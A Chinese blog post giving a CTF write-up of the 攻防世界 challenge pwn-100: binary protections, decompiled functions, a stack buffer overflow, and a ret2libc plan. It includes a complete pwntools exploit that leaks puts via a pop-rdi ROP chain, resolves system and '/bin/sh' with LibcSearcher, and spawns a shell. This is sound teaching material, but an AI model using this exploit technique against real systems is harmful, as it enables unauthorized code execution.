攻防世界PWN题 pwn-100

题目地址

checksec 检查

结果如下

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

分析函数

拖进 ida 里可以发现,该程序的调用链为 main->sub_40068E->sub_40063D,下面来分析一下后两个函数

sub_40063D

__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
  __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (signed int)i >= a2 )
      break;
    read(0, (void *)((signed int)i + a1), 1uLL);
  }
  return result;
}

可以看到,该函数以 a1 的内容作为缓冲区的首地址,共读取 a2 个字节

sub_40068E

int sub_40068E()
{
  char v1; // [rsp+0h] [rbp-40h]

  sub_40063D((__int64)&v1, 200);
  return puts("bye~");
}

可以看到,函数以 v1 的地址和 200 作为参数调用了 sub_40063D ,根据前面的分析可知,这是在向 v1 所指定的缓冲区中读取并写入 200 个字节的内容,而 v1 的空间仅有 40h 大小,可知这里存在着 bof 漏洞

思路

既然存在着 bof 漏洞,那么我们就有能力劫持程序的执行流;但是查看文件内的函数后可以发现,其本身并不存在着诸如 system 的敏感函数或 '/bin/sh' 的敏感字符串,所以初步判断这是一个 ret2libc 的题型,我们需要泄露出 libc 中某个函数的地址,从而根据偏移来获得 system 和 '/bin/sh' 的地址并调用之

但是和之前的题不同,首先这是一道 64 位的题,其次我们并没有 libc 的样本,也就无从得知具体的偏移;第一个问题导致我们在调用一个函数时,需要控制一些寄存器的值(64位的调用规约规定前6个参数放在寄存器中),这里的解决方式是利用 gadget ;而对于第二个问题,这里的解决方式是使用 LibcSearcher 库;两者详细的内容请参阅 ctf-wiki 进行学习

所以我们最终的思路是,调用 puts 函数来获得某个库函数的地址(这里选用 puts 函数),调用时使用 gadget 来控制寄存器从而传递参数,然后利用 LibcSearcher 来获得 system 和 /bin/sh 的地址,用它们覆盖返回地址后使程序的流程到达之,从而开启 interactive 模式

具体exp

from pwn import *
from sys import argv
from LibcSearcher import *

context(os='linux', arch='amd64')
#context.log_level = 'debug'

if argv[1] == 'local':
    p = process('./pwn100')
elif argv[1] == 'remote':
    ip, port = argv[2].split(':')
    p = remote(ip, int(port))

elf = ELF('./pwn100')
pop_rdi = 0x0000000000400763

payload = flat(['a'*0x48, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x40068E])
payload += b'a'*(200-len(payload))

p.send(payload)

print(p.recvuntil('\n'))

tmp = p.recvuntil('\n')[:-1]
puts_addr = u64(tmp + b'\x00'*(8-len(tmp)))

#p.interactive()

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc.dump('system') + libc_base
sh_addr = libc.dump("str_bin_sh") + libc_base

#print("system: ", libc.dump('system'))
#print("/bin/sh:", libc.dump('str_bin_sh'))

payload = flat(['a'*0x48, pop_rdi, sh_addr, puts_addr, pop_rdi, sh_addr, system_addr])
payload += b'\x00'*(200-len(payload))

p.sendline(payload)

#print(p.recv())
p.interactive()

如果读者认真看了上面给出的 ctf-wiki 的内容,那么这个 exp 就很容易理解了,所以这里仅给出 0x0000000000400763 和 0x40068E 两个地址的含义

第二个地址可以从 ida 里找到,可以发现是函数 sub_40068E 的开始地址,这里是在调用了 puts 函数输出 puts 的地址后控制程序流程返回至函数 sub_40068E 中,从而获得第二次使用 bof 漏洞的机会

第一个地址是使用 ROPgadget 工具搜索到的 pop rdi ; ret 语句的地址,因为我们需要这两条语句将栈中随后的两个内容分别作为 rdi 的内容和返回地址来处理,搜索的方法可以使用诸如 ROPgadget --binary pwn100 --only "pop|ret" 的语句,其具体使用方法可通过 --help 选项来查看

posted @ 2020-04-29 23:05  愚人呀  阅读(880)  评论(1编辑  收藏  举报